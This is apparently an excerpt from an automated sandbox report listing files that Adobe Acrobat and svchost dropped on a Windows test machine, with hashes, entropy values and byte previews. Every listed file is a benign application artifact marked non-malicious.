Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xb45468e2, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42215418242371305
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Raza/vMUM2Uvz7DO
MD5:	C39E45BAA9B1C3772EA00D89C53AF2EE
SHA1:	52395D5D8EE9885B37908B9D2D7F3F98E087F627
SHA-256:	0AE10F93CA773A24D779C14C426F572A997F8BE28320C40027B244E236A2B89D
SHA-512:	78E269EC6DED0073C83A03C6138C60ECF79CDD75D3F26B049983A489198D211FEAABD12A1E528B4FB40C153BD2B40336DD544831A99591D3B0AE146FD3C09DFF
Malicious:	false
Preview:	.Th.... .......A.......X\...;...{......................0.!..........{A......}{.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................CP......}....................P.....}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07660160841460162
Encrypted:	false
SSDEEP:	3:dyYeZyk4bjjn13a/018YitallcVO/lnlZMxZNQl:EzZIbj53q01JfOewk
MD5:	9A308FFDE453D7FBED96633AFAD02FA1
SHA1:	73D9DBD067550C654A1D805955936737F87ACA4E
SHA-256:	1A760D819F611E90F01A1393212C396E67012A7F552EE4AA148D779BE5EC45F8
SHA-512:	2143628B7243EAB3E7F9FF092D206140E688E6098A018819B76DF4C6DC397C0322B919AA0083B702980A77552D8433DB990C3A5EDB78865D66920E5A8170B8D8
Malicious:	false
Preview:	..?R.....................................;...{.......}.......{A..............{A......{A..........{A]..................P.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.050332117204655
Encrypted:	false
SSDEEP:	6:iO4TnGEIq2Pwkn2nKuAl9OmbnIFUtST/FZZmwsT/FzkwOwkn2nKuAl9OmbjLJ:7InLIvYfHAahFUt2/FZ/E/Fz5JfHAaSJ
MD5:	847D79D15886E10B49D8B4F3A80B3C14
SHA1:	F93CF3BE581C87AF7A045E45077F1FDD14BD32A6
SHA-256:	8B1CC3B52AF6AD916013D326291AEB02EAA67B16C2C4E614433FAF9165C1DBBF
SHA-512:	7BC6E8E2BE9B35AE675C74FF1B198DBC9CE7643C6A9638586CF8CA58DF3CCEA93E8FCAE5DDE5A19A1C2CC98C6D613C1A1600381A34085DD8DE6E64E17035CC45
Malicious:	false
Preview:	2025/01/10-11:13:10.225 1c10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:13:10.227 1c10 Recovering log #3.2025/01/10-11:13:10.227 1c10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.050332117204655
Encrypted:	false
SSDEEP:	6:iO4TnGEIq2Pwkn2nKuAl9OmbnIFUtST/FZZmwsT/FzkwOwkn2nKuAl9OmbjLJ:7InLIvYfHAahFUt2/FZ/E/Fz5JfHAaSJ
MD5:	847D79D15886E10B49D8B4F3A80B3C14
SHA1:	F93CF3BE581C87AF7A045E45077F1FDD14BD32A6
SHA-256:	8B1CC3B52AF6AD916013D326291AEB02EAA67B16C2C4E614433FAF9165C1DBBF
SHA-512:	7BC6E8E2BE9B35AE675C74FF1B198DBC9CE7643C6A9638586CF8CA58DF3CCEA93E8FCAE5DDE5A19A1C2CC98C6D613C1A1600381A34085DD8DE6E64E17035CC45
Malicious:	false
Preview:	2025/01/10-11:13:10.225 1c10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:13:10.227 1c10 Recovering log #3.2025/01/10-11:13:10.227 1c10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.09145533286082
Encrypted:	false
SSDEEP:	6:iO4TAS4q2Pwkn2nKuAl9Ombzo2jMGIFUtSTAhQLJZmwsTAhQLDkwOwkn2nKuAl97:7Iz4vYfHAa8uFUt2xLJ/ExLD5JfHAa8z
MD5:	389D67C5CB8726153591BA0C738E11E8
SHA1:	FAAD34C397FA8563AD41229713E0CAFD8CDA0791
SHA-256:	3FBD050BD9F0444A7A9DCD334D053BBB64B260512CD0815F8CDF306580B105CC
SHA-512:	CA95AF3FDC5E2F9AE2E499E36C38482B69F4C5C206D84E46325CED2855C2414CB2FA30AF2C3C78A388AA68725B6CD3A908499C6F7370470419C9D3A9ACC075A3
Malicious:	false
Preview:	2025/01/10-11:13:10.341 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:13:10.343 1cb4 Recovering log #3.2025/01/10-11:13:10.343 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.09145533286082
Encrypted:	false
SSDEEP:	6:iO4TAS4q2Pwkn2nKuAl9Ombzo2jMGIFUtSTAhQLJZmwsTAhQLDkwOwkn2nKuAl97:7Iz4vYfHAa8uFUt2xLJ/ExLD5JfHAa8z
MD5:	389D67C5CB8726153591BA0C738E11E8
SHA1:	FAAD34C397FA8563AD41229713E0CAFD8CDA0791
SHA-256:	3FBD050BD9F0444A7A9DCD334D053BBB64B260512CD0815F8CDF306580B105CC
SHA-512:	CA95AF3FDC5E2F9AE2E499E36C38482B69F4C5C206D84E46325CED2855C2414CB2FA30AF2C3C78A388AA68725B6CD3A908499C6F7370470419C9D3A9ACC075A3
Malicious:	false
Preview:	2025/01/10-11:13:10.341 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:13:10.343 1cb4 Recovering log #3.2025/01/10-11:13:10.343 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\84d8fc68-b486-4866-8311-60ede498e2ad.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.957950752632059
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqOBQsBdOg2HHfcaq3QYiubInP7E4T3y:Y2sRdszdMHHu3QYhbG7nby
MD5:	8BE9DBCF12AF69F87A85131E25D66B24
SHA1:	5321AF4E0019A6E222AF15A94F8F62E95E42A7C5
SHA-256:	45B2E037EA71FAAA1DF8EE58790DB8FE0EF6986A70ACDC694CC73D5E6E8FCC1E
SHA-512:	CDBA0EBD442FDFEE702D7C4140DEB24EF2C579E5C54A898B508D637F9F9B4D22F7867D9DDC274418D78201A8C18C90F3C858A1FD7546190BC9B26A6175B59C28
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381085602314518","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":154913},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.957950752632059
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqOBQsBdOg2HHfcaq3QYiubInP7E4T3y:Y2sRdszdMHHu3QYhbG7nby
MD5:	8BE9DBCF12AF69F87A85131E25D66B24
SHA1:	5321AF4E0019A6E222AF15A94F8F62E95E42A7C5
SHA-256:	45B2E037EA71FAAA1DF8EE58790DB8FE0EF6986A70ACDC694CC73D5E6E8FCC1E
SHA-512:	CDBA0EBD442FDFEE702D7C4140DEB24EF2C579E5C54A898B508D637F9F9B4D22F7867D9DDC274418D78201A8C18C90F3C858A1FD7546190BC9B26A6175B59C28
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381085602314518","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":154913},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.257857315372119
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7GdsMT:etJCV4FiN/jTN/2r8Mta02fEhgO73goo
MD5:	A4CB6C7A15DB82825F007D900A86DFEE
SHA1:	417C9871D53157C63CA7F4F103360402AADBABB6
SHA-256:	327DF07A4FEEADD65FE639D269AE31148FDDF98BD26A0331EEBF983249EA2B5A
SHA-512:	24CFA62C58685AC9885E12B2E8A6F2C0E4C8139D6EA2E5560496D9744DE249B8BCCEA2B901107A43C88569D0819DC02E2502A42D120E99DEAD47D623278E08C0
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.089465232791908
Encrypted:	false
SSDEEP:	6:iO4TdD4q2Pwkn2nKuAl9OmbzNMxIFUtST+3JZmwsTrfrDkwOwkn2nKuAl9OmbzNq:7Id4vYfHAa8jFUt2+3J/ErfrD5JfHAab
MD5:	41BB76247B98D7644A67773E43890C5B
SHA1:	ACF513E5EC3FBA4670B08471E499C9C38A1A2BC1
SHA-256:	3D4A8E2F76A43BCD530A0BDA89340A362D7CED5DF85761D7FF4141A6C495D954
SHA-512:	F1A73642E694D13D5129086408886E823B8B9A6DE58BF00F78E34CD4BD199AA0B6EF8F617AD556339D7353D0AE80DCD53E4BA9BAC844C5663DD44F84CCB2CFB8
Malicious:	false
Preview:	2025/01/10-11:13:10.413 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:13:10.414 1cb4 Recovering log #3.2025/01/10-11:13:10.415 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.089465232791908
Encrypted:	false
SSDEEP:	6:iO4TdD4q2Pwkn2nKuAl9OmbzNMxIFUtST+3JZmwsTrfrDkwOwkn2nKuAl9OmbzNq:7Id4vYfHAa8jFUt2+3J/ErfrD5JfHAab
MD5:	41BB76247B98D7644A67773E43890C5B
SHA1:	ACF513E5EC3FBA4670B08471E499C9C38A1A2BC1
SHA-256:	3D4A8E2F76A43BCD530A0BDA89340A362D7CED5DF85761D7FF4141A6C495D954
SHA-512:	F1A73642E694D13D5129086408886E823B8B9A6DE58BF00F78E34CD4BD199AA0B6EF8F617AD556339D7353D0AE80DCD53E4BA9BAC844C5663DD44F84CCB2CFB8
Malicious:	false
Preview:	2025/01/10-11:13:10.413 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:13:10.414 1cb4 Recovering log #3.2025/01/10-11:13:10.415 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.44472151543106
Encrypted:	false
SSDEEP:	384:SeBci5teiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:Fxs3OazzU89UTTgUL
MD5:	AAAEA98D8BC49B9F4EE5C32F4E54C03E
SHA1:	4CA011344C6AD9E3457F9BD3E5B142C64DF819B3
SHA-256:	F71E1C0AA6340094838488E44429839C86D306BA2269D7AAB066EAA196BDAE23
SHA-512:	21D0FD9DA2E84256C83AA02CED385E716D444DD6F2F35A9213A718A859F6389909BE272AEC9EF8D66645562BE54FD5BDEEA5D7E8E1826312CDB551630897068A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.21361631950965
Encrypted:	false
SSDEEP:	24:7+tXKMnuwK4qLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9a:7M6MnC4qvmFTIF3XmHjBoGGR+jMz+LhI
MD5:	0ECDE86AF755AF61883BA20A265A1F09
SHA1:	77D632E4B7C73CF2BEBB995CB0006B8FD7856A2F
SHA-256:	85052DC50CA6AD17C9697FA6A6A7E6BF7A21D801C984DD27F6B4A49AC94BDC92
SHA-512:	F52FD9F4A17A9564454474C47A3E6BDF5301B989FA91680BDE579BACFC6AB1D6E7D1265F11BDC62A17C6CFCD3DBFD5B4CCC0496913B05FEAAFDAC3DF0B1B16CE
Malicious:	false
Preview:	.... .c................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7503974515083134
Encrypted:	false
SSDEEP:	3:kkFklGAeb3/tfllXlE/HT8kYhlXNNX8RolJuRdxLlGB9lQRYwpDdt:kKfAeb3/eT8d7NMa8RdWBwRd
MD5:	BEF432CFDFB4B118163589AAF57C7B63
SHA1:	5E7259376B025058D120320A135F12AD6728D828
SHA-256:	C3CAAA67FA2F4B8CCEF44BABBA181FD943F0E6344BC506BEDCAB7A0191292FAD
SHA-512:	6555CE0C6E36CBA335AFBAE7E3E0044DA6C0A68A92A652FC32DE831098BAAECF3C4170410A26BBDCFCAEF3E8DF17AC2E8439F2BFF96F8AF20FEC691916B6089A
Malicious:	false
Preview:	p...... ............zc..(....................................................... ..........W....d ..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2080

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2080

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
